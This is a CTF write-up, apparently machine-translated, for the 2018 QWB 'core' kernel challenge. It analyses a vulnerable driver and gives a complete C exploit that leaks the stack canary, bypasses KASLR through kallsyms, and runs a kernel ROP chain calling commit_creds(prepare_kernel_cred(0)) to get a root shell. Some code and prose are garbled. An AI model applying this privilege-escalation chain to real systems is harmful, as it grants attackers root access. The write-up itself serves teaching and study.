Kernel rop attack 2018QWBcore replay

Foreword: I just started the core problem recently, so I'll learn from ctfwiki here. Don't spray...

The first step is classic... If the title is not given to vmlinux, it can be extracted through extract vmlinux.

See start SH finds that kalsr randomization is enabled, and the base address needs to be leaked. This is very similar to the pwn problem in user status

Take a look at init:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko
 
#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f
 
In line 9 kallsyms Your content has been saved to /tmp/kallsyms So we can start from /tmp/kallsyms Read in commit_creds,prepare_kernel_cred The address of the function
 Line 10 kptr_restrict Set to 1, so you can't pass /proc/kallsyms Look at the function address, but line 9 has saved the information in a readable file. This sentence doesn't matter
 Line 11 dmesg_restrict Set to 1, so you can't pass dmesg see kernel I've got your information
 In line 18, a timed shutdown is set. In order to avoid interference when doing questions, delete this sentence directly and repackage it

Check the following drive protection:

[*] '/home/roo/Desktop/maxbosctf/QWBcore2018/give_to_player/tmp/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

Canary found is enabled, and canary needs to be disclosed

Add core Ko drag to IDA for reverse analysis

init_module() registers / proc/core

__int64 init_module()

{

core_proc = proc_create("core", 438LL, 0LL, &core_fops);

printk("\x016core: created /proc/core entry\n");

return 0LL;

}

exit_core() delete / proc/core

__int64 exit_core()

{

__int64 result; // rax

if ( core_proc )

result = remove_proc_entry("core");

return result;

}

exit_core() delete / proc/core

__int64 exit_core()

{

__int64 result; // rax

if ( core_proc )

result = remove_proc_entry("core");

return result;

}

 core_ioctl() defines three commands that call core_read(),core_copy_func() and set the global variable off

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)

{

switch ( a2 )

{

case 0x6677889B:

core_read(a3);

break;

case 0x6677889C:

printk("\x016core: %d\n");

off = a3;

break;

case 0x6677889A:

printk("\x016core: called core_copy\n");

core_copy_func(a3);

break;

}

core_copy_func(v3);

}

 core_read() copies 64 bytes from v4[off] to the user space, but it should be noted that the global variable off enables us to control, so we can reasonably control off to leave canary and some addresses

void __fastcall core_read(__int64 a1)

{

__int64 v1; // rbx

char *v2; // rdi

signed __int64 i; // rcx

char v4[64]; // [rsp+0h] [rbp-50h]

unsigned __int64 v5; // [rsp+40h] [rbp-10h]

v1 = a1;

v5 = __readgsqword(0x28u);

printk("\x016core: called core_read\n");

printk("\x016%d %p\n");

v2 = v4;

for ( i = 16LL; i; --i )

{

*(_DWORD *)v2 = 0;

v2 += 4;

}

strcpy(v4, "Welcome to the QWB CTF challenge.\n");

if ( copy_to_user(v1, &v4[off], 64LL) )

__asm { swapgs }

}

core_copy_func() copies data from the global variable name to the local variable. The length is specified by us. Note that qmemcpy uses unsigned__ Int16, but the length passed is signed__ Int64, so if the length of the control input is 0xffffffffffff0000|(0x100) equivalent, the stack can overflow

void __fastcall core_copy_func(signed __int64 a1)

{

char v1[64]; // [rsp+0h] [rbp-50h]

unsigned __int64 v2; // [rsp+40h] [rbp-10h]

v2 = __readgsqword(0x28u);

printk("\x016core: called core_writen");

if ( a1 > 63 )

printk("\x016Detect Overflow");

else

qmemcpy(v1, name, (unsigned __int16)a1); // overflow

}

 core_write() writes to the global variable name through the core_write() and core_copy_func() can control ropchain

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)

{

unsigned __int64 v3; // rbx

v3 = a3;

printk("\x016core: called core_writen");

if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )

return (unsigned int)v3;

printk("\x016core: error copying data from userspacen");

return 0xFFFFFFF2LL;

}.

Through the above analysis, the following ideas can be obtained:

Set off through ioctl, and then through core_read() leak canary
Through core_write() writes to name to construct ropchain
Through core_copy_func() writes from name to a local variable, and ROPS by setting a reasonable length and canary
Commit via rop_ creds(prepare_kernel_cred(0))
Return to the user status and start the shell through system("/bin/sh")

How to get commit_creds(),prepare_kernel_cred() address?

/These addresses are saved in tmp/kallsyms and can be read directly. At the same time, the address of gadgets can be determined according to the fixed offset

How to return to user status?

swapgs; iretq, as mentioned earlier, you need to set cs, rflags and other information. You can write a function to save these information

exp:

include <string.h>
include <stdio.h>
include <stdlib.h>
include <unistd.h>
include <fcntl.h>
include <sys/stat.h>
include <sys/types.h>
include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
    system("/bin/sh");
}
else
{
    puts("[*]spawn shell error!");
}
exit(0);

}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*

give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
   Arch:     amd64-64-little
   RELRO:    No RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x0)

*/
size_t vmlinux_base = 0;
size_t find_symbols()
{

FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
 
if(kallsyms_fd < 0)
{
    puts("[*]open kallsyms error!");
    exit(0);
}
 
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
    if(commit_creds & prepare_kernel_cred)
        return 0;
 
    if(strstr(buf, "commit_creds") && !commit_creds)
    {
        /* puts(buf); */
        char hex[20] = {0};
        strncpy(hex, buf, 16);
        /* printf("hex: %s\n", hex); */
        sscanf(hex, "%llx", &commit_creds);
        printf("commit_creds addr: %p\n", commit_creds);
        /*
         * give_to_player [master●●] bpython
            bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
            >>> from pwn import *
            >>> vmlinux = ELF("./vmlinux")
            [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
                Arch:     amd64-64-little
                RELRO:    No RELRO
                Stack:    Canary found
                NX:       NX disabled
                PIE:      No PIE (0xffffffff81000000)
                RWX:      Has RWX segments
            >>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
            '0x9c8e0'
        */
        vmlinux_base = commit_creds - 0x9c8e0;
        printf("vmlinux_base addr: %p\n", vmlinux_base);
    }
 
    if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
    {
        /* puts(buf); */
        char hex[20] = {0};
        strncpy(hex, buf, 16);
        sscanf(hex, "%llx", &prepare_kernel_cred);
        printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
        vmlinux_base = prepare_kernel_cred - 0x9cce0;
        /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
    }
}
 
if(!(prepare_kernel_cred & commit_creds))
{
    puts("[*]Error!");
    exit(0);
}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{


__asm__("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        );
puts("[*]status has been saved.");

}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
    puts("[*]open /proc/core error!");
    exit(0);
}
 
find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;
 
set_off(fd, 0x40);
 
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);
 
size_t rop[0x1000] = {0};
 
int i;
for(i = 0; i < 10; i++)
{
    rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)
 
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
rop[i++] = commit_creds;
 
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
 
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 
 
rop[i++] = (size_t)spawn_shell;         // rip 
 
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
 
write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
 
return 0;
}

Compile:
gcc exploit.c -static -masm=intel -g -o exploit
1. Because the user status needs to be returned, save is used_ The status function saves the register values of cs, rsp, ss and rflags
2. Since kaslr is enabled, read the commit from / tmp/kallsyms_ creds,prepare_ kernel_ The address of cred is determined by the function find_symbols, and calculate the program base address
3.core_ read,core_ copy_ func,set_ The three off functions realize the necessary functions of the driver, spawn_shell is used to get shell when returning user status

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret

rop[i++] = 0;

rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret

rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret

rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;

rop[i++] = commit_creds;

First, prepare is executed_ kernel_ Cred (0), return value to rax register, then rax to rdi and execute commit_creds, successfully promoted the user authority to root
Since the call instruction will push the RIP on the next line of the calling function onto the stack, and this gadget has no ret instruction, store a gadget in rdx, put the original RIP into the general register and return to commit_ At the creds pointer, set it manually

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret

rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;

rop[i++] = user_rflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

Summary: I have learned the technology of kernel rop and hope to make further progress..

 

Keywords: security kernel CTF pwn

Added by turkman on Sat, 18 Dec 2021 20:57:35 +0200